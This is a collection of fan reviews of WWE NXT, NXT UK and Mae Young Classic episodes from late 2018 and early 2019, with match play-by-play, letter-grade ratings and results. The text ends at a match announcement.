IMG Credit: WWE

NXT
Date: February 20, 2019
Location: Full Sail University, Winter Park, Florida
Commentators: Nigel McGuinness, Mauro Ranallo, Percy Watson

I’m not sure what to think about this show as it could go in two very different directions. The major announced match is Johnny Gargano defending the North American Title against Velveteen Dream with two endings having been taped. On the other side though, WWE has promised a major announcement, which doesn’t bode well since the four biggest names from the show have appeared on this week’s Raw and Smackdown. Let’s get to it.

Here are last week’s results if you need a recap.

The opening video looks at Gargano vs. Dream, which should be a big match.

Opening sequence.

Aleister Black vs. Roderick Strong

Fallout from last week when the Undisputed Era beat down Black and Ricochet. Strong takes him down with a single leg to start and grabs an armbar, which lasts as long as an armbar is about to go. Black’s German suplex gets two but Strong sends him outside for a dropkick through the ropes. A drop onto the steps sets up a reverse chinlock with a knee in the back as Strong keeps it on the mat, where it’s hard for Black to kick very well.

Back up and Strong puts him on top, only to have Black slip out of a top rope superplex. His powerbomb doesn’t work though as it’s the first backbreaker to put Strong in control again. You would think he’d have gone there earlier. Black knees his way out of a suplex attempt and the strikes are on in a hurry. A running kick to the face sets up the brainbuster for two and Strong is in trouble. Black knees him to the face but Strong is right back with a torture rack backbreaker on the apron. The belly to back faceplant has Black in trouble but he snaps off Black Mass for the pin at 8:28.

Rating: B. I could watch these two trade backbreakers and kicks to the face for a long time and that’s what they did here. Black is someone who can beat anyone with that kick to the face and it’s not like Strong is going to lose much by getting beaten by someone as good as him. Very nice match here, which is going to be the case with any combination of the people involved.

Post match Kyle O’Reilly and Bobby Fish run in for the beatdown, drawing in Ricochet for the save.

We see Shayna Baszler, Marina Shafir and Jessamyn Duke invading the women’s locker room last week and nearly starting a brawl.

Bianca Belair says 2018 was her year and it was the referee’s fault that she lost at Takeover: Phoenix. Now Io Shirai and Kairi Sane are trying to get in on her title shot and that’s not cool. You know what else isn’t cool? Belair.

We look at the four NXT main roster debuts.

In two weeks: the Dusty Rhodes Tag Team Classic is back with the winners getting a title shot at the War Raiders at Takeover: New York. Four teams have been announced so far: the Undisputed Era, Fabian Aichner/Marcel Barthel, Forgotten Songs and the Street Profits. The other four will be announced next week.

Mia Yim vs. Xia Li

We get a handshake to start and they lock up to the mat with neither getting an advantage. Mia backs up in a hurry from the threat of a bunch of kicks, only to get rolled up for two instead. Now the big kick to the chest connects and even more kicks put Yim down again. Li jumps into a shot to the face though and Protect Your Neck gives Mia the pin at 3:56.

Rating: D+. I wasn’t feeling this one for the most part, though it could have been worse. The problem here was Yim getting beaten up until the very end and then hitting her pretty lame finisher. Li’s kicks looked good and those are going to get her somewhere. Throw in the cool fan entrance and she’s going to be fine.

Post match Baszler, Shafir and Duke run in for the beatdown until the unnamed rookies run in for the failed save.

Gargano is warming up when Candice LeRae comes in to ask how he’s doing. He’s fine, but Tommaso Ciampa pops in. Gargano says he needs her instead of him, but Ciampa will be watching tonight. Well until the main roster gets involved that is.

We get a sitdown interview with Jeremy Borash talking to Matt Riddle. Matt isn’t going to change who he is with the hat and flip flops because he was told a long time ago to tune himself up instead of down. Riddle wants a title and it doesn’t matter which one.

Next week: Yim vs. Baszler.

North American Title: Velveteen Dream vs. Johnny Gargano

Dream is challenging as he cashes in his Worlds Collide tournament win. They go to the mat to start with Dream getting an armbar. Gargano spins out as we see Ciampa watching from the rafters. One heck of a slap sends Gargano to the floor for a bit as frustration is setting in. The champ comes back inside but Dream slides in front of him for an OOO from the crowd.

Another slap has Gargano rocked and Dream nails a top rope ax handle. Dream takes too much time going up though and gets pulled down so Gargano can take over for the first time. Some knees have Dream in trouble and a neckbreaker gets two. The arm work continues with Gargano bending it around the rope, only to have Dream swing away anyway. Gargano sends him outside though and more shots to the face keep Dream in trouble.

Dream finally gets in a clothesline and of course things are instantly even again. A running clothesline sends Gargano outside and that’s enough for a top rope ax handle. Back in and Dream takes him up top but gets crotched instead, setting up a spinning Downward Spiral for two. They bang heads and go to the apron, with Gargano hitting a superkick. The slingshot DDT is cut off but so is the Dream Valley Driver on the apron. Gargano hits the suicide dive, only to walk into wind up DDT.

Dream misses the Purple Rainmaker though and Gargano goes up. This time it’s Dream catching him though and a super Dream Valley Driver gets a VERY close two. Gargano bails outside and superkicks a diving Dream out of the air for a big crash. The slingshot DDT gets two more, earning a standing ovation. Gargano is up first and hits a superkick but a running tornado DDT is countered into the Dream Valley Driver. A second Driver sets up the Purple Rainmaker to make Dream champion at 20:30.

Rating: A-. Well that worked. These two know how to make anything work well and they did just that here, with an awesome back and forth match as Dream FINALLY wins the big one. It also helps set things up with Gargano choking in his first title defense, which should give him even more issues with Ciampa going forward. Great match with better storytelling, as things are starting to to roll towards New York.

So I guess the Dusty Classic was the big announcement? That’s a relief, but also kind of a letdown.

Overall Rating: A. Yeah I’d say they’re still good, though with all of the main roster stuff looming, I’m more than a little nervous. The best part about NXT has been that they don’t have to deal with everything that goes on from the main roster and I’m worried that WWE is going to need to “fix” things down here, which is the last thing they need right now. At least we had another great show here, and there’s a chance that nothing will change in the near future.

Results

Aleister Black b. Roderick Strong – Black Mass

Mia Yim b. Xia Li – Protect Your Neck

Velveteen Dream b. Johnny Gargano – Purple Rainmaker

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

NXT UK
Date: February 13, 2019
Location: Phoenix Convention Center, Phoenix, Arizona
Commentators: Nigel McGuinness, Vic Joseph

Things are getting more interesting around here as Walter continues to be the biggest thing to be added to the show since its inception (all those months ago). For now though, we’re in Phoenix for some shows taped at the Royal Rumble Axxess. We should be in for some fun shows around here and some guest stars aren’t out of the question. Let’s get to it.

Here are last week’s results if you need a recap.

In Memory of Pedro Morales.

Opening sequence.

Here’s Toni Storm to open things up. She won the Mae Young Classic and then it was Toni Time at Takeover: Blackpool. Toni knew that Rhea Ripley would be coming to get her title back though because Storm is a bully. She’s beaten Ripley before though and she can do it again. This brings out Rhea, who now has what sounds like THIS IS MY BRUTALITY before her theme music. She’s the first ever NXT UK Women’s Champion and she’s sick of hearing the comparisons to Storm. The rematch is brought up and Storm says “that’s nice”. The fight is on with Rhea quickly bailing.

Noam Dar vs. Jordan Devlin

Devlin’s wristlock is countered into a headlock, followed by some arm cranking on Devlin’s arm for a change. That just earns him a release Rock Bottom into a standing moonsault but the fans think he still sucks. We hit the double arm crank on Dar for a bit before he fights up and kicks Devlin off the ropes.

An exchange of kicks puts both guys down and Dar slaps on the ankle lock. That’s escaped as well and the Irish Ace Cutter gives Devlin two. They head outside with Devlin loading up a whip into the steps, only to have Travis Banks come out to yell. Dar’s ankle goes into the steps but Devlin stops to fight Banks, allowing Dar to grab a rollup for the surprise pin at 10:20.

Rating: C. I’m not big on either guy (though I’m much higher up than I used to be) and this was a completely middle of the road match. Neither does much that grabs your attention and while this was little more than a way to advance Devlin vs. Banks, it wasn’t exactly thrilling. Then again nor was it bad, so we’ll go with right in the middle.

Post match Devlin stays on Dar, drawing Banks in for the big fight.

Next week: Ripley vs. Storm for the title.

Two weeks from now: Walter vs. Kassius Ohno.

Jinny vs. Mia Yim

Jinny takes her straight down into a front facelock until Mia reverses into one of her own. An armbar is broken up just as fast and Mia grabs a rollup for two. The running hurricanrana doesn’t work either as Mia cartwheels her way out and takes Jinny down for some slaps to the arms. With none of the holds working, Jinny goes with blunt force trauma in the form of a Downward Spiral into the middle rope. A slap to the face gives Jinny two and she pulls on Mia’s arms for good measure.

That’s broken up and Mia slaps on a Tarantula of her own. Mia adds a neckbreaker for the double knockdown before firing off some shots to the face. A Cannonball connects as you can see the Axxess venue in the background. It’s not a bad thing but it’s just so odd to see. Jinny misses a charge and gets German suplexed into the corner, sending herself outside for a much needed breather. Back in and Jinny scores with a kick to the head, allowing her to throw her feet on the ropes for the pin at 7:55.

Rating: C-. Jinny is someone who seems like she would gain a lot from some talking segments that get to showcase herself outside the ring a bit more. Her work is fine enough, but the only things I know about her is she’s mean and cares about fashion. I need a lot more than that, and it would be nice if they let us have something.

Wolfgang vs. Pete Dunne

Non-title and no seconds here, oddly enough. Wolfgang goes for the arm to start so Dunne spins out and takes Wolfgang down with a total of no effort. Another grab of the wrist sends Wolfgang out to the floor and it’s time for a breather. Back in and a referee distraction (stop telling Dunne the rules) lets Wolfgang get in a forearm, setting up the required chinlock.

Dunne fights out of that as quickly as anyone fights out of a chinlock and nails a middle rope dropkick to the knee. An ankle lock sends Wolfgang bailing to the ropes, followed by sending Dunne face first into the apron. Back in and Dunne stomps on the arm as Nigel talks about Wolfgang having a SUBURBAN COMMANDO tattoo on his forearm. Well I’m a fan for life.

Wolfgang drops him ribs first across the top rope to bang Dunne up but Dunne avoids a charge and is right back with a bunch of slaps in the corner. Dunne flips out of a release German suplex and nails the X Plex for two. It’s time to bend the fingers back, followed by the stomping to Wolfgang’s head. Dunne pulls him into a triangle until a buckle bomb breaks things up.

The spinning release fisherman’s suplex gets two but Dunne nips up before the Howling. There’s a stomp to the fingers but Wolfgang is right back with a hard clothesline. Darren Young’s Gut Check gives Wolfgang a very delayed two as Wolfgang grabs his knee. He gets up limping, prompting Nigel to say he thinks Wolfgang has a bad knee. That kind of line sounds so out of place from him. Anyway the Howling is countered into the finger bending to make Wolfgang tap at 10:43.

Rating: B-. Leave it to Wolfgang to give Dunne one of his worst matches ever and leave it to Dunne to still make it entertaining. That’s not fair to Wolfgang as he was pretty good here, but the problem is having him get in on the same ground floor as Bate, Dunne and Seven. That’s being the other rookies in 2002 and it just doesn’t work. Walter is the end game for Dunne anyway, so keeping him strong like this is the only way to go.

Overall Rating: C+. Perfectly watchable show here which felt like a combination of a regular show and a special. The whole show feels like it’s on hold until Walter vs. Dunne is set up and that’s fine, though it can’t last forever. I can imagine that one taking place in April over Wrestlemania weekend and if it just happens to be in New York, so be it. Anyway, it should be a blast whenever it happens because they’re putting in the effort to build the characters, which is what matters most.

Results

Noam Dar b. Jordan Devlin – Rollup

Jinny b. Mia Yim – Kick to the head

Pete Dunne b. Wolfgang – Dunne bent his finger back

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

NXT
Date: December 26, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Nigel McGuinness, Mauro Ranallo, Percy Watson

It’s the last show of the year and this time, it’s not going to be a Best Of show, which you almost expect at this point. Instead we have a Tag Team Title defense with the Undisputed Era defending against Heavy Machinery in what feels like a farewell match. Still though, it should be a good, entertaining match so let’s get to it.

Here are last week’s results if you need a recap.

The opening video previews the title match and the four way match for the #1 contendership to the Women’s Title.

Opening sequence.

Io Shirai vs. Bianca Belair vs. Lacey Evans vs. Mia Yim

One fall to a finish and the winner gets a shot at Shayna Baszler at Takeover: Phoenix. It’s a big brawl to start with Belair and Yim being sent outside with Shirai hitting a big dive onto both of them. Yim and Shirai come back inside for a double dropkick to Evans and the double teaming begins. As expected, Yim eventually clocks Shirai so Evans takes Yim down and gets two off a slingshot elbow.

Shirai gets back up with Evans kicking her in the ribs as Belair is waiting to actually do anything so far. She finally comes back in and picks up Shirai, who she swings into Evans for a knockdown. Evans drops Belair just as well and punches Shirai for two. Belair puts Shirai in a torture rack with Evans making the save and arguing with Belair over whose time this is. Yim comes back in again and causes another Evans vs. Belair argument. A belly to back suplex gives Yim two on Belair but Shirai springboards in to dropkick Evans down.

Belair spears Shirai and all four are down at once. Back up and Shirai rolls Belair up, followed by a very high missile dropkick for two more. The Women’s Right drops Yim for two with Shirai making a very last second save. Shirai’s moonsault hits Evans for two and this time it’s Belair making a save with the hair whip. The KOD finally puts Evans away to give Belair the title shot at 9:13.

Rating: C+. That wasn’t exactly the biggest surprise in the world as Belair has been built up as the biggest star around here. There was a chance of Shirai winning but Belair makes the most sense and could have a heck of a match against Baszler. I can’t imagine Belair winning the title yet but I also can’t imagine her losing, which can make for some interesting results. Very energetic match here with some good near falls.

Mitch Taverna vs. Jaxon Ryker

Ryker unloads on him to start as we have no commentary for some reason. Mitch’s face is rubbed into the mat and Jaxon drops him throat first across the top rope. A slingshot release powerbomb gets a very nice reaction from the crowd and Taverna is done at 1:56. Not a word of commentary all match.

Video on Velveteen Dream, talking about how great his first year was and how much better the second will be. We also hear about a bunch of legends (Hogan, Michaels, Cena, Angle and more) who have all praised him, which is a smart way to go for something like this. Dream on.

We look at Tommaso Ciampa helping Johnny Gargano win the cage match last week against Aleister Black, with Ciampa smiling and Gargano being confused.

Ciampa says he’s a man of his word but sometimes he feels like a broken record talking to a wall. It turns out that someone has been listening this entire time. Johnny Gargano listens and follows his lead, which got him a pin over Aleister Black. So where does that leave Johnny? Well he can’t have another shot at the NXT Title, so he should challenge for the North American Title. Imagine: two kids come into NXT without contracts and go to every hotel room and on every car ride and then they leave Takeover: Phoenix with both titles. Imagine the possibilities.

Next week: the Year End Award nominees.

Tag Team Titles: Heavy Machinery vs. Undisputed Era

Roderick Strong and Kyle O’Reilly are defending for the Era and Heavy Machinery has been undefeated for six months. Knight wrestles O’Reilly down to start so it’s off to Strong, who walks into a hiptoss. Dozovic comes in and isn’t about to take an Irish whip into the corner. Instead it’s Strong going into the corner and a hard clothesline gives Knight two. Belly to belly suplexes keep the champs in trouble until Strong goes after Knight’s knee. A toss to the floor has Knight down again and Kyle starts kicking away on the floor.

Back in and Knight manages to backdrop Strong over the top and out to the floor but O’Reilly gets him with a dragon screw legwhip. Palm strikes to the head keep Knight in trouble but he gets to the ropes to get out of an armbreaker. The Angle Slam gives Strong two and he grabs a leglock with Knight trying to crawl over for the tag. In a smart move, O’Reilly pulls the two of them away but, of course, the hot tag goes through a few seconds later.

The Caterpillar elbow crushes Strong and the Hoss Toss is even worse for O’Reilly. Knight misses a moonsault (nice one too) but Strong misses a running knee in the corner. It’s back to Dozovic to turn Strong inside out with a clothesline for two more. Dozovic gets caught up top and it’s a mini Tower of Doom to superplex/powerbomb him down with Knight having to make another save. A forearm/jumping knee combination gets two more but High/Low is enough to retain the titles at 11:31.

Rating: C+. Fun match here as Heavy Machinery gets to ride off to the main roster where they can be an entertaining act. They’re one of the best surprises of the year and there was no reason to change the titles here. I’m not sure who is going to take the titles from the Undisputed Era but around here, it could be interesting to see as opposed to the main roster where it’s more a case of “who cares”.

Overall Rating: B-. They’re clearly in Takeover mode now with two matches set and multiple others being built up. They could go a few directions for those matches and that makes things all the better around here. What we already have looks great though and if it’s even close to what the previous editions have been, Phoenix is going to rock.

Results

Bianca Belair b. Mia Yim, Lacey Evans and Io Shirai – KOD to Evans

Jaxon Ryker b. Mitch Taverna – Slingshot release powerbomb

Undisputed Era b. Heavy Machinery – High/Low to Dozovic

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

NXT
Date: December 12, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Mauro Ranallo, Nigel McGuinness, Percy Watson

Last week’s show saw the main event scene get a shot in the arm as Johnny Gargano and Aleister Black agreed to keep things going inside a steel cage, much to Tommaso Ciampa’s delight. Ciampa continues to be a great devil on the shoulder and someone who could be on top of the company for a long time to come. As for tonight though, Ricochet is in action against a mystery opponent, which could mean a lot of things. Let’s get to it.

Here are last week’s results if you need a recap.

We open with a preview of tonight’s show, including EC3 vs. Bobby Fish.

Opening sequence.

EC3 vs. Bobby Fish

Fallout from the Undisputed Era damaging EC3’s knee a few weeks back. The rest of the Undisputed Era is out here with Fish. Before the match, Adam Cole talks about how EC3 should have been a top star around here but that was stopped with the help of a steel chair. 2018 wasn’t just a career year for the team, because it was also the start of a decade of dominance. Next year they will all be covered in gold, and that is undisputed.

Fish bails to the floor to start and leaves Kyle O’Reilly hanging on a fist bump. Back in and Fish dives at EC3’s legs but gets powerbombed in half instead. A shaken up Fish needs a breather on the floor so EC3 throws him back inside for a nerve hold of all things. The Era offers a quick distraction so Fish can take out the knee and it’s time to start the stomping.

Fish takes him down with a dragon screw legwhip before putting on a simple leglock. That’s kicked away and EC3 gets in a suplex. An EC3 elbow (his People’s Elbow) connects but he stops to go after the Era, allowing Fish to take out the knee again. Not that it matters though as EC3 gets a quick small package for the pin at 5:30.

Rating: C. The leg work made sense, but Fish wasn’t showing the same explosiveness that he had before the injury (understandable). EC3 and friends vs. the Era could be interesting and it’s not like he has anything else going on. If nothing else it might help bring him up the ladder quite a bit, which is necessary at this point.

Post match the beatdown is on until Heavy Machinery makes the save. Strong takes the big beating with everyone else bailing on their buddy.

Dakota Kai and Io Shirai want to take out Marina Shafir and Jessamyn Duke in a tag match next week.

Clip of the Mighty attacking Oney Lorcan and Danny Burch after losing to them a few weeks back.

The Mighty vs. Oney Lorcan/Danny Burch

It’s a brawl to start with Lorcan hitting a running flip dive to the floor to take them both out. Back in and Thorn and Lorcan trade running uppercuts until Lorcan takes him down into the half crab. That’s broken up and Thorn hits a belly to back suplex as we’re now done with the opening minute. Burch comes in and hits a Thesz press on Miller, (Burch: “YOU AND YOUR MUM!”) followed by some kicks to Thorn in and out of the corner.

Thorn slips out of a Doomsday Device attempt and a superplex/sitout powerbomb (with Miller powerbombing Thorn) gets two on Lorcan as Danny shoves Thorn onto the cover for the break. Danny saves Lorcan from Thunder Valley so Miller hits a step up Cannonball to crush him in the corner. Lorcan scores with a double DDT and the assisted spike DDT finishes Thorn at 5:03.

Rating: B-. Good night they packed a lot of stuff in there. These four did not stop throughout the entire match and that made for some entertaining action. Burch and Lorcan are likely to get another shot at the titles at some point, which they’ve certainly earned after some of their performances over the last few months.

We look back at the end of last week’s show, featuring Aleister Black announcing his rematch against Tommaso Ciampa for Takeover: Phoenix and being set up for a cage match against Johnny Gargano in the near future. Ciampa’s puppet master manipulation here is outstanding.

The cage match is next week.

Gargano is outside again and talks about Black thinking that he absolved Johnny of his sins. The end goal of this is Ciampa losing the NXT Title and Black was just in the wrong place in the wrong time. That’s the same thing here, as Black is getting the title that that Gargano should have had and Gargano will do anything to stop him. Gargano stands behind some metal bars and promises to close the book on Black next week.

Dijakovic is here next week.

Shayna Baszler, Shafir and Duke aren’t worried about the four way #1 contenders match because she’ll take home the title and the challenger will take home a hospital bill. Duke and Shafir laugh at the challenge and Shayna accepts for them.

Lacey Evans is officially in the four way #1 contenders match, joining Bianca Belair.

NXT Women’s Title Qualifying Match: Mia Yim vs. Reina Gonzalez

Gonzalez has a bullrope and cowbell with her. Yim has a guillotine choke on in the early going but Reina throws her off. That’s fine with Yim, who slaps the same thing on again. This time Gonzalez lifts Mia up and drops her ribs first across the top rope for the break. Reina slams her down for two and shouts in Spanish. An over the shoulder backbreaker has Yim in more trouble until she slips out and armdrags Reina throat first into the ropes. Some knees to the face set up Eat Defeat for the pin at 3:26.

Rating: D+. Gonzalez was looking fine as a monster here and it’s very cool to have the other women from the Mae Young Classic in there for roles like this. They’re talented workers and it makes sense to have them come in and work a match or two. It keeps things fresh and offers some entertaining work that you wouldn’t get otherwise. Smart booking, as tends to be the case.

Black doesn’t feel anything about his match with Gargano. He just has to do this to Gargano though, because Gargano is beyond absolution. Instead, he has to be eradicated inside the cage, and there will be no escape. Inside the cage, Gargano will fade to black.

North American Title: Ricochet vs. ???

Ricochet is defending against….Tyler Breeze, making his first televised NXT appearance in years. The fans certainly seem to appreciate having him back, including the full entrance. The chants are split but the TYLER’S GORGEOUS ones are much louder. Breeze gets an early breather on the top rope so Ricochet starts in with the flips, capped off by the headscissors into the dropkick. Back up and Breeze slaps on a half crab (must be a Canadian thing) but Ricochet makes the rope.

They head outside with Breeze dropkicking an apron dive out of the air as the fans deem the entire match gorgeous. That’s quite the upgrade for Ricochet. Breeze stomps away in the corner and you can see him soaking in a lot of the cheers because he matters for the first time in way too long. Some elbows to the face have Breeze in trouble (NOT IN THE FACE!) and a standing shooting star press gets two.

The Phoenix Splash misses and Breeze’s hair is down to make things serious. Stereo crossbodies put them both down and the fans continue to appreciate this. They trade forearms to the back but neither can hit a suplex. Ricochet moonsaults over him but walks into the Supermodel Kick. A reverse hurricanrana gives Breeze a VERY close two and Ricochet says this is his house (Paige has really changed her look since retiring). The Beauty Shot is countered into a Cradle Shock at 9:52.

Rating: B. I love it when they do something like this. There’s little reason to not send the former NXT stars down there for a one off appearance (if not more) if they have nothing going on up on the main roster. Breeze is going 50/50 on Main Event so having him show up on NXT is as good of a use for him as anything else. He’s a legend down here and can have a great match, so let him have a nice moment for a change instead of facing Mojo Rawley in a glorified dark match.

Ricochet shakes his hand to end the show.

Overall Rating: B+. Good wrestling, a nice surprise at the end a bunch of stuff being set up for next week. I liked this one a lot, even though next week is the important show. They had an entertaining night this week though and considering how little this show should have meant, that’s really impressive.

Results

EC3 b. Bobby Fish – Small package

Oney Lorcan/Danny Burch b. The Mighty – Assisted spike DDT to Thorn

Mia Yim b. Reina Gonzalez – Eat Defeat

Ricochet b. Tyler Breeze – Cradle Shock

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/11/20/new-paperback-complete-1997-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

NXT
Date: November 14, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Vic Joseph, Percy Watson, Nigel McGuinness

It’s the go home show for Takeover: WarGames II and the card seems to be mostly set. This time around there might only be four matches, but one of them will be 2/3 falls and another is WarGames so things should be fine. Tonight is the big final push towards the show and that should make for a fun show. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Bianca Belair vs. Mia Yim

This was set up last week in a backstage argument. Belair grabs her by the hair to start and throws Mia down without too much effort. Mia is right back with a headlock takeover and some trash talk, followed by the knee strikes. A pair of dropkicks have Belair in trouble and two more knock her down but Mia gets sent outside. Back in and Belair cranks on the neck, which does as much damage as you might expect. Some choking in the corner keeps Mia down but Belair spends too much time bragging to the crowd.

A missed legdrop lets Mia start the comeback, including sending her face first into the middle buckle. An assortment of kicks are cut off by a spinebuster to give Belair two but Mia is back with palm strikes. The cannonball in the corner connects and looks to set up Soul Food, which is reversed into the KOD to give Belair the pin at 8:04.

Rating: B-. This started slow but got much better by the end in a good match. Belair has all the natural talents you could ask for and the character work is coming along. A veteran like Yim is more polished and that’s always something valuable to have around. They’re testing Belair more every time and it’s becoming very fun to watch.

Ricochet and Pete Dunne argue over who will face a member of the Undisputed Era in the match for an advantage in WarGames. Hanson gets tired of the argument and says he’ll take the spot himself.

Long video on Aleister Black vs. Johnny Gargano with clips of the investigation spliced together with clips of Johnny’s big explanation last week and Gargano’s obsession with Tommaso Ciampa. It’s very, very impressive to weave three stories together like that and they knocked it out of the park.

Matt Riddle talks about how awesome his time here has been so far when Kassius Ohno comes in. Why hasn’t Riddle challenged him to a match yet? When Ohno came back to NXT, he challenged Shinsuke Nakamura and Bobby Roode but Riddle hasn’t done a thing. Riddle is cool with that and the match is set for next week.

Karisa Rivera vs. Lacey Evans

Rivera is a second generation wrestler. A drop toehold takes Karisa down and that means some pushups on her back. Rivera comes back with a dropkick for one, which just annoys Evans. She rams Karisa’s head into the mat over and over, followed by the Woman’s Right for the pin at 1:50.

Post match Lacey says so many ladies have forgotten about sophistication, but she’ll lead by example.

Video on Tommaso Ciampa vs. Velveteen Dream, which also spun off from the Aleister Black attack. Ciampa, who talks to his title, wants everyone out of his spotlight and you just don’t say that to the Dream. Lars Sullivan isn’t mentioned at all.

Video on Kairi Sane vs. Shayna Baszler. They’ve feuded for over a year now and what should be the final showdown is 2/3 falls with Baszler defending again. Sane holding up her empty treasure chest is a great visual and exactly what you would expect from her.

Takeover rundown.

Hanson vs. Kyle O’Reilly

The winners team gets the WarGames advantage. Kyle’s early right hands have no effect and Hanson screams at him. After a shoulder puts him down, O’Reilly tries sitting on the mat and kicking from his back. Hansen picks him up without much effort and puts him on the corner for some slaps to the chest. O’Reilly finally gets smart by kicking at the knee but not being able to get a half crab.

Instead he slaps Hanson in the head a few times and then chop blocks the monster down. The kneebar goes on so Hanson uses the free leg to kick O’Reilly square in the jaw. Hanson is up with a swinging powerslam for two and O’Reilly bails to the floor, only to get caught with a suicide dive. O’Reilly is dead and here’s Adam Cole for a distraction, causing Hanson to miss a moonsault.

A running knee gives O’Reilly two and it’s off to an ankle lock. Hanson makes the rope and Cole hits an enziguri to give O’Reilly two more. Cue Rowe to take care of Cole, allowing Hanson to clothesline O’Reilly down. Fish and Strong come out to take care of Rowe, drawing Dunne out as well. Ricochet comes out and hits a big flip dive over the referee to take everyone out. The distraction lets O’Reilly hit Hanson with a title for the pin at 11:59.

Rating: B-. Nice match here with all of the interference being appropriate for once. You had to know the Undisputed Era was going to win here because it’s WarGames, but it was nice to have the match actually be fun. It helps that all of the Undisputed Era can put on a good match so throwing them out there in singles works just fine.

One last WarGames video wraps us up.

Overall Rating: A. Good wrestling, very good build towards Takeover, angle advancement and a big match being set up for next week. What else could you ever ask for out of a go home show? This show did everything it could be asked to do and that made for a really easy show that made me want to see Saturday’s show. That’s as good as it gets and NXT nailed it again.

Results

Bianca Belair b. Mia Yim – KOD

Lacey Evans b. Karisa Rivera – Woman’s Right

Kyle O’Reilly b. Hanson – Belt shot to the head

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Smackdown Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2018/09/07/new-book-kbs-complete-smackdown-2003-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

IMG Credit: WWE

Mae Young Classic
Date: October 17, 2018
Location: Full Sail University, Winter Park, Florida
Commentators: Michael Cole, Renee Young, Beth Phoenix

We’re in the final two episodes of the series and that means it’s time for the big names to start fighting each other. This week we have the quarterfinals and therefore should be looking at four matches, though there’s a chance that they’ll have two quarterfinal matches with the winners facing off later tonight. Actually that would make more sense so let’s get to it.

Here are last week’s results if you need a recap.

The opening recap looks at the first two rounds and previews the quarterfinals.

All matches are quarterfinal matches.

Opening sequence.

Lacey Lane is an underdog but the Cinderella story can continue.

Meiko Satomura wants to show the world what Japanese women’s wrestling is all about.

Meiko Satomura vs. Lacey Lane

The entrances now include graphics with names, finishers and styles for a more mainstream sports feel. Lane blocks a kick to start as the announcers try to find new ways to praise Satomura. Meiko blocks a kick of her own and shoves Lacey away. That’s not cool with Lane, so Meiko spin kicks her in the head (freaking ow man) to really get things going. Lane comes back with a legsweep and kick to the face of her own, followed by a low superkick for two.

Meiko BLASTS her in the head with another kick but she can’t get a cross armbreaker. A suplex drops Lane but she comes back with forearms in the corner. Lane scores with a running knee and a high crossbody gets two. That’s enough for Meiko, who kicks her in the head again and finishes with a Death Valley Driver at 4:34.

Rating: C-. Lane was trying here but there was no answer to those kicks to the head and there wasn’t much of a reason to believe that the upset was in the cards. Meiko is one of the top stars in the whole thing and whoever beats her is going to look like a giant killer. Lane will be fine and get a nice push in NXT, though she has a lot of work to do.

Io Shirai is an awesome high flier and one of the best wrestlers in the world.

Deonna Purrazzo is a young star who loves to hurt people’s arms.

Io Shirai vs. Deonna Purrazzo

They start slowly with Purrazzo shouldering her down. A headscissors doesn’t work as Shirai lands on her feet, followed by a dropkick into a nipup to put Deonna on the floor. There’s the suicide dive for two back inside, followed by a handspring double knee drop to the ribs for the same. A slingshot dropkick misses and it’s time for an exchange of rollups until Shirai hits a jumping double stomp.

Back up and Purrazzo trips her down for the basement dropkick and floats over into the Fujiwara armbar. That’s broken up and Shirai gets a quickly broken Crossface. A 619 into a missile dropkick gives Io two more but Purrazzo is right back up with some rolling German suplexes. The Fujiwara goes on again and Io’s hand goes up for the tap until she turns it over into the Crossface. That’s rolled through as well so Io knees her in the face and hits the running knees in the corner. The moonsault barely connects (Io’s arms slapped the chest and that’s it) to finish Purrazzo at 8:45.

Rating: B. They’ve booked Io very well in the tournament so far as she keeps having a harder and harder match to pull off. If she can ever hit the moonsault properly, everything will be fine. As it is now, she’s just having one very good match after another and this was no exception. Purrazzo is clearly a star in the making as she’s only 24 and looks more polished than most veterans with far more experience.

We get the show of respect, which is well deserved.

Tegan Nox tore her ACL just before last year’s tournament and is back to show how good she really can be.

Rhea Ripley is serious this year and ready to beat people.

Tegan Nox vs Rhea Ripley

The doctor comes in but Nox says she wants to go so Ripley chops away. Nox gets in some of her own but a dropkick cuts her off and the referee stops the match at 3:16. No rating due to the injury, which is apparently to her good knee. Nox, in tears: “I can’t do it again.” The place goes DEAD silent and it’s almost creepy.

The fans cheer for Tegan as she leaves and the announcers give what sounds like a heartfelt talk about what happened. Beth mentions that coming back with a brace on the knee might have affected her balance. That’s just terrible and I actually feel really sorry for her. No one deserves that. Even worse: word on the street is that she was supposed to be in the finals, if not win the whole thing outright.

Mia Yim is back to prove that she belongs here.

Toni Storm knows she’s the best in the world and is ready to prove it as well.

Mia Yim vs. Toni Storm

